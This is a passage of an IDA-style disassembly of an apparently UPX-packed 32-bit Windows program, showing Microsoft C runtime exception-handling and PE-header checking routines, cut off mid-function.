		lea	esi, [esi+esi*2]
		lea	ebx, [ebx+esi*4+10h]
		mov	ecx, [ebx]
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_40FF3E
		push	101h
		mov	eax, [ebx+8]
		call	sub_414715
		mov	ecx, 1
		mov	eax, [ebx+8]
		call	sub_414734
		jmp	short loc_40FF3E
; ---------------------------------------------------------------------------


loc_40FF8E:				; CODE XREF: sub_40FF0C+45j
					; sub_40FF0C+52j
		pop	large dword ptr	fs:0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40FF9C:				; DATA XREF: sub_40FF0C+14o
		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_40FFE1
		mov	eax, [esp+arg_4]
		mov	ecx, [eax+8]
		xor	ecx, eax
		call	sub_40AC1C
		push	ebp
		mov	ebp, [eax+18h]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+14h]
		call	sub_40FF0C
		add	esp, 0Ch
		pop	ebp
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_40FFE1:				; CODE XREF: sub_40FF0C+A0j
		retn
sub_40FF0C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		push	dword ptr [ecx+1Ch]
		push	dword ptr [ecx+18h]
		push	dword ptr [ecx+28h]
		call	sub_40FF0C
		add	esp, 0Ch
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40FFFE	proc near		; CODE XREF: sub_40BE20+89p
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	ebp, edx
		xor	eax, eax
		xor	ebx, ebx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi


loc_41000E:				; DATA XREF: UPX1:004319CEo
		call	ecx
		pop	ebx
		pop	edi
		pop	esi
		pop	ebp

locret_410014:				; DATA XREF: UPX1:004319ECo
		retn
sub_40FFFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_410015	proc near		; CODE XREF: sub_40BE20+167p
					; DATA XREF: UPX1:004319A0o
		mov	ebp, edx
		mov	esi, ecx
		mov	eax, ecx
		push	1
		call	sub_414715
		xor	eax, eax
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	edi, edi
		jmp	esi
sub_410015	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41002E	proc near		; CODE XREF: sub_40BE20+116p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	0
		push	0
		push	offset loc_410043
		push	ecx
		call	sub_416F6E	; RtlUnwind


loc_410043:				; DATA XREF: sub_41002E+Ao
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41002E	endp


; =============== S U B	R O U T	I N E =======================================



sub_410048	proc near		; CODE XREF: sub_40BE20+12Dp
					; sub_40BE20+182p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	edx
		push	ecx
		push	[esp+0Ch+arg_4]


loc_410053:				; DATA XREF: UPX0:0041F004o
					; UPX0:off_4239B0o
		call	sub_40FF0C
		add	esp, 0Ch
		pop	ebp
		retn	8
sub_410048	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410060	proc near		; CODE XREF: sub_4100F0+41p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	eax, 5A4Dh
		cmp	[ecx], ax
		jz	short loc_410076


loc_410072:				; CODE XREF: sub_410060+21j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_410076:				; CODE XREF: sub_410060+10j
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		cmp	dword ptr [eax], 4550h
		jnz	short loc_410072
		xor	edx, edx
		mov	ecx, 10Bh
		cmp	[eax+18h], cx
		setz	dl
		mov	eax, edx
		pop	ebp
		retn
sub_410060	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100A0	proc near		; CODE XREF: sub_4100F0+5Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		movzx	eax, word ptr [ecx+14h]
		push	ebx
		push	esi
		movzx	esi, word ptr [ecx+6]
		xor	edx, edx
		push	edi
		lea	eax, [eax+ecx+18h]
		test	esi, esi
		jbe	short loc_4100DD
		mov	edi, [ebp+arg_4]


loc_4100C5:				; CODE XREF: sub_4100A0+3Bj
		mov	ecx, [eax+0Ch]
		cmp	edi, ecx
		jb	short loc_4100D5
		mov	ebx, [eax+8]
		add	ebx, ecx
		cmp	edi, ebx
		jb	short loc_4100DF


loc_4100D5:				; CODE XREF: sub_4100A0+2Aj
		inc	edx
		add	eax, 28h
		cmp	edx, esi
		jb	short loc_4100C5


loc_4100DD:				; CODE XREF: sub_4100A0+20j
		xor	eax, eax


loc_4100DF:				; CODE XREF: sub_4100A0+33j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4100A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100F0	proc near		; CODE XREF: sub_40BE20+F8p
					; sub_40DB8F+13p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFEh
		push	offset dword_426A50
		push	offset sub_40BE20
		mov	eax, large fs:0
		push	eax
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_42A034
		xor	[ebp+var_8], eax
		xor	eax, ebp
		push	eax
		lea	eax, [ebp+var_10]
		mov	large fs:0, eax
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		push	400000h
		call	sub_410060
		add	esp, 4
		test	eax, eax
		jz	short loc_410192
		mov	eax, [ebp+arg_0]
		sub	eax, 400000h
		push	eax
		push	400000h
		call	sub_4100A0
		add	esp, 8
		test	eax, eax
		jz	short loc_410192
		mov	eax, [eax+24h]
		shr	eax, 1Fh
		not	eax
		and	eax, 1
		mov	[ebp+var_4], 0FFFFFFFEh
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	eax, [ecx]
		xor	edx, edx
		cmp	eax, 0C0000005h
		setz	dl
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]


loc_410192:				; CODE XREF: sub_4100F0+4Bj
					; sub_4100F0+65j
		mov	[ebp+var_4], 0FFFFFFFEh
		xor	eax, eax
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4100F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101AD	proc near		; CODE XREF: sub_410A1C+155p

arg_0		= byte ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		lea	eax, [ebp+arg_0]
		push	eax
		mov	esi, ecx
		call	sub_40ACB7
		mov	dword ptr [esi], offset	off_41DCA8
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	4
sub_4101AD	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [ecx], offset	off_41DCA8
		jmp	sub_40AD84

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101D6	proc near		; DATA XREF: UPX0:off_41DCA8o

arg_0		= byte ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41DCA8
		call	sub_40AD84
		test	[ebp+arg_0], 1
		jz	short loc_4101F6
		push	esi
		call	sub_40AC11
		pop	ecx


loc_4101F6:				; CODE XREF: sub_4101D6+17j
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	4
sub_4101D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101FD	proc near		; CODE XREF: sub_410449+50p
					; sub_410A1C+20Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_410255
		lea	edx, [eax+8]
		cmp	byte ptr [edx],	0
		jz	short loc_410255
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_410234
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_40EAF0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_410234


loc_410230:				; CODE XREF: sub_4101FD+3Fj
					; sub_4101FD+4Dj ...
		xor	eax, eax
		jmp	short loc_410258
; ---------------------------------------------------------------------------


loc_410234:				; CODE XREF: sub_4101FD+21j
					; sub_4101FD+31j
		test	byte ptr [esi],	2
		jz	short loc_41023E
		test	byte ptr [edi],	8
		jz	short loc_410230


loc_41023E:				; CODE XREF: sub_4101FD+3Aj
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41024C
		test	byte ptr [edi],	1
		jz	short loc_410230


loc_41024C:				; CODE XREF: sub_4101FD+48j
		test	al, 2
		jz	short loc_410255
		test	byte ptr [edi],	2
		jz	short loc_410230


loc_410255:				; CODE XREF: sub_4101FD+Fj
					; sub_4101FD+17j ...
		xor	eax, eax
		inc	eax


loc_410258:				; CODE XREF: sub_4101FD+35j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4101FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41025C	proc near		; CODE XREF: sub_4102A5+85p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0E0434F4Dh
		jz	short loc_410287
		cmp	eax, 0E06D7363h
		jnz	short loc_4102A1
		call	sub_40E38F
		and	dword ptr [eax+90h], 0
		jmp	sub_40E02B
; ---------------------------------------------------------------------------


loc_410287:				; CODE XREF: sub_41025C+11j
		call	sub_40E38F
		cmp	dword ptr [eax+90h], 0
		jle	short loc_4102A1
		call	sub_40E38F
		add	eax, 90h
		dec	dword ptr [eax]


loc_4102A1:				; CODE XREF: sub_41025C+18j
					; sub_41025C+37j
		xor	eax, eax
		pop	ebp
		retn
sub_41025C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102A5	proc near		; CODE XREF: sub_41050D+ECp
					; sub_4108BA+38p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	10h
		push	offset dword_426A70
		call	__SEH_prolog4
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [edi+4], 80h
		jg	short loc_4102C6
		movsx	esi, byte ptr [ebx+8]
		jmp	short loc_4102C9
; ---------------------------------------------------------------------------


loc_4102C6:				; CODE XREF: sub_4102A5+19j
		mov	esi, [ebx+8]


loc_4102C9:				; CODE XREF: sub_4102A5+1Fj
		mov	[ebp+var_1C], esi
		call	sub_40E38F
		add	eax, 90h
		inc	dword ptr [eax]
		and	[ebp+ms_exc.disabled], 0


loc_4102DC:				; CODE XREF: sub_4102A5+9Fj
		cmp	esi, [ebp+arg_C]
		jz	short loc_410346
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4102EB
		cmp	esi, [edi+4]
		jl	short loc_4102F0


loc_4102EB:				; CODE XREF: sub_4102A5+3Fj
		call	sub_40E077


loc_4102F0:				; CODE XREF: sub_4102A5+44j
		mov	eax, esi
		shl	eax, 3
		mov	ecx, [edi+8]
		add	ecx, eax
		mov	esi, [ecx]
		mov	[ebp+var_20], esi
		mov	[ebp+ms_exc.disabled], 1
		cmp	dword ptr [ecx+4], 0
		jz	short loc_410321
		mov	[ebx+8], esi
		push	103h
		push	ebx
		mov	ecx, [edi+8]
		push	dword ptr [ecx+eax+4]
		call	sub_410E70


loc_410321:				; CODE XREF: sub_4102A5+65j
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_410341
; ---------------------------------------------------------------------------


loc_410327:				; DATA XREF: UPX0:00426A90o
		push	[ebp+ms_exc.exc_ptr]
		call	sub_41025C
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_410331:				; DATA XREF: UPX0:00426A94o
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_20]


loc_410341:				; CODE XREF: sub_4102A5+80j
		mov	[ebp+var_1C], esi
		jmp	short loc_4102DC
; ---------------------------------------------------------------------------


loc_410346:				; CODE XREF: sub_4102A5+3Aj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_41036B
		cmp	esi, [ebp+arg_C]
		jz	short loc_41035C
		call	sub_40E077


loc_41035C:				; CODE XREF: sub_4102A5+B0j
		mov	[ebx+8], esi
		call	__SEH_epilog4
		retn
sub_4102A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_410365	proc near		; DATA XREF: UPX0:00426A88o
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_410365	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41036B	proc near		; CODE XREF: sub_4102A5+A8p
		call	sub_40E38F
		cmp	dword ptr [eax+90h], 0
		jle	short locret_410385
		call	sub_40E38F
		add	eax, 90h
		dec	dword ptr [eax]

locret_410385:				; CODE XREF: sub_41036B+Cj
		retn
sub_41036B	endp


; =============== S U B	R O U T	I N E =======================================



sub_410386	proc near		; CODE XREF: sub_41050D+93p
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4103C8
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4103C8
		mov	ecx, [eax+14h]
		cmp	ecx, 19930520h
		jz	short loc_4103B1
		cmp	ecx, 19930521h
		jz	short loc_4103B1
		cmp	ecx, 19930522h
		jnz	short loc_4103C8


loc_4103B1:				; CODE XREF: sub_410386+19j
					; sub_410386+21j
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4103C8
		call	sub_40E38F
		xor	ecx, ecx
		inc	ecx
		mov	[eax+20Ch], ecx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4103C8:				; CODE XREF: sub_410386+8j
					; sub_410386+Ej ...
		xor	eax, eax
		retn
sub_410386	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103CB	proc near		; CODE XREF: sub_40BE20+10Ap
					; sub_410633+6Ep ...

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_426A98
		call	__SEH_prolog4
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short loc_410408
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_410408
		mov	eax, [ecx+1Ch]
		test	eax, eax
		jz	short loc_410408
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_410408
		and	[ebp+ms_exc.disabled], 0
		push	eax
		push	dword ptr [ecx+18h]
		call	sub_40C0B9
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh


loc_410408:				; CODE XREF: sub_4103CB+11j
					; sub_4103CB+19j ...
		call	__SEH_epilog4
		retn
sub_4103CB	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		call	sub_40E02B
		int	3		; Trap to Debugger

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410420	proc near		; CODE XREF: sub_4106A9+86p
					; sub_4106A9+113p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx]
		push	esi
		mov	esi, [ebp+arg_0]
		add	eax, esi
		cmp	dword ptr [ecx+4], 0
		jl	short loc_410446
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	esi, [edx+esi]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_410446:				; CODE XREF: sub_410420+14j
		pop	esi
		pop	ebp
		retn
sub_410420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410449	proc near		; CODE XREF: sub_410A1C+10Fp
					; sub_410A1C+29Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		test	edi, edi
		jnz	short loc_41045F
		call	sub_40E077
		call	sub_40E02B


loc_41045F:				; CODE XREF: sub_410449+Aj
		and	[ebp+var_8], 0
		cmp	dword ptr [edi], 0
		mov	[ebp+var_1], 0
		jle	short loc_4104BF
		push	ebx
		push	esi


loc_41046E:				; CODE XREF: sub_410449+72j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+1Ch]
		mov	eax, [eax+0Ch]
		mov	ebx, [eax]
		lea	esi, [eax+4]
		test	ebx, ebx
		jle	short loc_4104B3
		mov	eax, [ebp+var_8]
		shl	eax, 4
		mov	[ebp+var_C], eax


loc_410489:				; CODE XREF: sub_410449+62j
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+1Ch]
		mov	eax, [esi]
		push	eax
		mov	eax, [edi+4]
		add	eax, [ebp+var_C]
		push	eax
		call	sub_4101FD
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4104AF
		dec	ebx
		add	esi, 4
		test	ebx, ebx
		jg	short loc_410489
		jmp	short loc_4104B3
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_410449+5Aj
		mov	[ebp+var_1], 1


loc_4104B3:				; CODE XREF: sub_410449+35j
					; sub_410449+64j
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [edi]
		jl	short loc_41046E
		pop	esi
		pop	ebx


loc_4104BF:				; CODE XREF: sub_410449+21j
		mov	al, [ebp+var_1]
		leave
		retn
sub_410449	endp


; =============== S U B	R O U T	I N E =======================================



sub_4104C4	proc near		; CODE XREF: sub_410A1C+2FBp
		push	4
		mov	eax, offset loc_41BEEF
		call	sub_40C4A0
		call	sub_40E38F
		cmp	dword ptr [eax+94h], 0
		jz	short loc_4104E3
		call	sub_40E077


loc_4104E3:				; CODE XREF: sub_4104C4+18j
		and	dword ptr [ebp-4], 0
		call	sub_40E064
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_40E02B


loc_4104F5:				; DATA XREF: UPX0:00426AC0o
		call	sub_40E38F
		mov	ecx, [ebp+8]
		push	0
		push	0
		mov	[eax+94h], ecx
		call	sub_40C03B
		int	3		; Trap to Debugger
sub_4104C4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41050D	proc near		; CODE XREF: sub_4108BA+59p

var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 00410628 SIZE 00000005 BYTES

		push	2Ch
		push	offset dword_426B10
		call	__SEH_prolog4
		mov	ebx, ecx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], ebx
		and	[ebp+var_34], 0
		mov	eax, [edi-4]
		mov	[ebp+var_24], eax
		push	dword ptr [esi+18h]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40C368
		pop	ecx
		pop	ecx
		mov	[ebp+var_28], eax
		call	sub_40E38F
		mov	eax, [eax+88h]
		mov	[ebp+var_2C], eax
		call	sub_40E38F
		mov	eax, [eax+8Ch]
		mov	[ebp+var_30], eax
		call	sub_40E38F
		mov	[eax+88h], esi
		call	sub_40E38F
		mov	ecx, [ebp+arg_8]
		mov	[eax+8Ch], ecx
		and	[ebp+ms_exc.disabled], 0
		xor	eax, eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	[ebp+ms_exc.disabled], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+arg_C]
		push	edi
		call	sub_40C40D
		add	esp, 14h
		mov	[ebp+var_1C], eax
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_41060C
; ---------------------------------------------------------------------------


loc_41059D:				; DATA XREF: UPX0:00426B30o
		mov	eax, [ebp+ms_exc.exc_ptr]
		call	sub_410386
		retn
; ---------------------------------------------------------------------------


loc_4105A6:				; DATA XREF: UPX0:00426B34o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_40E38F
		and	dword ptr [eax+20Ch], 0
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_4]
		cmp	dword ptr [esi+4], 80h
		jg	short loc_4105CA
		movsx	ecx, byte ptr [edi+8]
		jmp	short loc_4105CD
; ---------------------------------------------------------------------------


loc_4105CA:				; CODE XREF: sub_41050D+B5j
		mov	ecx, [edi+8]


loc_4105CD:				; CODE XREF: sub_41050D+BBj
		mov	ebx, [esi+10h]
		and	[ebp+var_20], 0


loc_4105D4:				; CODE XREF: sub_41050D+11Ej
		mov	eax, [ebp+var_20]
		cmp	eax, [esi+0Ch]
		jnb	short loc_4105F4
		imul	eax, 14h
		add	eax, ebx
		mov	edx, [eax+4]
		cmp	ecx, edx
		jle	short loc_410628
		cmp	ecx, [eax+8]
		jg	short loc_410628
		mov	eax, [esi+8]
		mov	ecx, [eax+edx*8+8]


loc_4105F4:				; CODE XREF: sub_41050D+CDj
		push	ecx
		push	esi
		push	0
		push	edi
		call	sub_4102A5
		add	esp, 10h
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]


loc_41060C:				; CODE XREF: sub_41050D+8Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	[ebp+arg_8], 0
		call	sub_410633
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_41050D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41050D


loc_410628:				; CODE XREF: sub_41050D+D9j
					; sub_41050D+DEj
		inc	[ebp+var_20]
		jmp	short loc_4105D4
; END OF FUNCTION CHUNK	FOR sub_41050D

; =============== S U B	R O U T	I N E =======================================



sub_41062D	proc near		; DATA XREF: UPX0:00426B28o
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+8]
sub_41062D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_410633	proc near		; CODE XREF: sub_41050D+10Dp
		mov	eax, [ebp-24h]
		mov	[edi-4], eax
		push	dword ptr [ebp-28h]
		call	sub_40C3BB
		pop	ecx
		call	sub_40E38F
		mov	ecx, [ebp-2Ch]
		mov	[eax+88h], ecx
		call	sub_40E38F
		mov	ecx, [ebp-30h]
		mov	[eax+8Ch], ecx
		cmp	dword ptr [esi], 0E06D7363h
		jnz	short locret_4106A8
		cmp	dword ptr [esi+10h], 3
		jnz	short locret_4106A8
		mov	eax, [esi+14h]
		cmp	eax, 19930520h
		jz	short loc_410684
		cmp	eax, 19930521h
		jz	short loc_410684
		cmp	eax, 19930522h
		jnz	short locret_4106A8


loc_410684:				; CODE XREF: sub_410633+41j
					; sub_410633+48j
		cmp	dword ptr [ebp-34h], 0
		jnz	short locret_4106A8
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_4106A8
		push	dword ptr [esi+18h]
		call	sub_40C394
		pop	ecx
		test	eax, eax
		jz	short locret_4106A8
		push	dword ptr [ebp+10h]
		push	esi
		call	sub_4103CB
		pop	ecx
		pop	ecx

locret_4106A8:				; CODE XREF: sub_410633+31j
					; sub_410633+37j ...
		retn
sub_410633	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4106A9	proc near		; CODE XREF: sub_410828+36p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	0Ch
		push	offset dword_426B38
		call	__SEH_prolog4
		xor	edx, edx
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		cmp	ecx, edx
		jz	loc_410820
		cmp	[ecx+8], dl
		jz	loc_410820
		mov	ecx, [eax+8]
		cmp	ecx, edx
		jnz	short loc_4106E4
		test	dword ptr [eax], 80000000h
		jz	loc_410820


loc_4106E4:				; CODE XREF: sub_4106A9+2Dj
		mov	eax, [eax]
		mov	esi, [ebp+arg_4]
		test	eax, eax
		js	short loc_4106F1
		lea	esi, [ecx+esi+0Ch]


loc_4106F1:				; CODE XREF: sub_4106A9+42j
		mov	[ebp+ms_exc.disabled], edx
		xor	ebx, ebx
		inc	ebx
		push	ebx
		test	al, 8
		jz	short loc_41073D
		mov	edi, [ebp+arg_0]
		push	dword ptr [edi+18h]
		call	sub_414737
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_410803
		push	ebx
		push	esi
		call	sub_414737
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_410803
		mov	eax, [edi+18h]
		mov	[esi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41072E:				; CODE XREF: sub_4106A9+E7j
		push	eax
		call	sub_410420
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jmp	loc_410808
; ---------------------------------------------------------------------------


loc_41073D:				; CODE XREF: sub_4106A9+51j
		mov	edi, [ebp+arg_C]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		test	[edi], bl
		jz	short loc_410792
		call	sub_414737
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_410803
		push	ebx
		push	esi
		call	sub_414737
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_410803
		push	dword ptr [edi+14h]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	esi
		call	sub_40CA30
		add	esp, 0Ch
		cmp	dword ptr [edi+14h], 4
		jnz	loc_410808
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410808
		add	edi, 8
		push	edi
		jmp	short loc_41072E
; ---------------------------------------------------------------------------


loc_410792:				; CODE XREF: sub_4106A9+9Fj
		cmp	[edi+18h], edx
		jnz	short loc_4107CF
		call	sub_414737
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_410803
		push	ebx
		push	esi
		call	sub_414737
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_410803
		push	dword ptr [edi+14h]
		add	edi, 8
		push	edi
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		call	sub_410420
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40CA30
		add	esp, 0Ch
		jmp	short loc_410808
; ---------------------------------------------------------------------------


loc_4107CF:				; CODE XREF: sub_4106A9+ECj
		call	sub_414737
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_410803
		push	ebx
		push	esi
		call	sub_414737
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_410803
		push	dword ptr [edi+18h]
		call	sub_414737
		pop	ecx
		test	eax, eax
		jz	short loc_410803
		test	byte ptr [edi],	4
		push	0
		pop	eax
		setnz	al
		inc	eax
		mov	[ebp+var_1C], eax
		jmp	short loc_410808
; ---------------------------------------------------------------------------


loc_410803:				; CODE XREF: sub_4106A9+62j
					; sub_4106A9+73j ...
		call	sub_40E077


loc_410808:				; CODE XREF: sub_4106A9+8Fj
					; sub_4106A9+D7j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_1C]
		jmp	short loc_410822
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_40E02B


loc_410820:				; CODE XREF: sub_4106A9+19j
					; sub_4106A9+22j ...
		xor	eax, eax


loc_410822:				; CODE XREF: sub_4106A9+169j
		call	__SEH_epilog4
		retn
sub_4106A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410828	proc near		; CODE XREF: sub_4108BA+13p

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
